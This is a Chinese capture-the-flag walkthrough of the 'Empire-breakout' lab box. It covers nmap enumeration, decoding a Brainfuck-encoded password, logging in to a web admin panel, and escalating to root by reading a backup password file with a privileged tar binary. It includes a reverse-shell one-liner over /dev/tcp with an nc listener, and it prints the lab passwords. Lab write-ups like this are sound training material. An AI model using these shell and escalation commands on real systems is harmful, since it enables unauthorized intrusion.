Empire-breakout | Easy-Hard
一、枚举/信息搜集
首先,我们使用NMAP进行信息搜集,使用全端口的扫描可能比较消耗时间,但是不会有所遗漏
nmap -p- -A -oN nmap_scan 192.168.171.238
分析下我们的扫描结果,该盒子一共开了三个端口,80、10000、20000,很明显这个靶场需要我们从web页面打进去
先看一下默认的80端口网站,是一个apache默认页面
下意识访问网站页面源代码,看到了一段可疑的加密密文,如果熟悉Crypto题目的话可以很明显看出是Brainfuck加密
进行解密后,结果如下,我们对解密后的结果进行保存,分析可能为后面的某个用户的密码
二、权限获取
这里就出现了这题最大的bug,本来这个靶机是开SMB服务的,在这里使用enumlinux进行枚举就能获取到用户名为cyber,(官方walkingthrough给的也是,呵呵)但是这个靶场进行了修改,关了smb服务,就没有其他方法能获取到cyber用户名,正常思路可以通过爆破查回显来爆破用户名,但是就显得复杂了,我们就直接使用cyber进行测试
使用前面解密出来的用户名:cyber和密码:.2uqPEfj3D<P’a-3,尝试登录10000、20000端口的服务
20000端口登录成功,进入后台
注意左下角有命令执行页面,利用下可以弹个shell回去
三、权限提升
我们通过构造简单re-shell获取本地shell
nc -nlvp 6666 //先设置本地监听
sh -i >& /dev/tcp/192.168.45.5/6666 0>&1 //反弹shell
python3 -c "import pty;pty.spawn('/bin/bash')" //稳定shell
这里可以获得第一个flag
在tmp目录下上传linpeas进行扫描,可以看出来home目录下有一个可疑的tar文件有读取权限
再进行信息搜集,其中/var/backups目录下有一个.old_pass.bak文件,应该是root的密码,但是很遗憾,我们没有执行权限,这里再利用前面我们用linpeas发现的tar文件,构造命令进行提权
./tar -cf pass.tar /var/backups/.old_pass.bak //压缩old文件
tar -xf pass.tar //解压
cat var/backups/.old_pass.bak //获取密码
成功获取到root密码:Ts&4&YurgtRX(=~h
登录root shell,第二个flag成功获取!
四、复盘
开始的cyber的确有大问题,应该是靶场修改了,第一次做的时候卡了,其余都为常规操作。ps:从这一期开始将持续更新pg系列,大家敬请期待!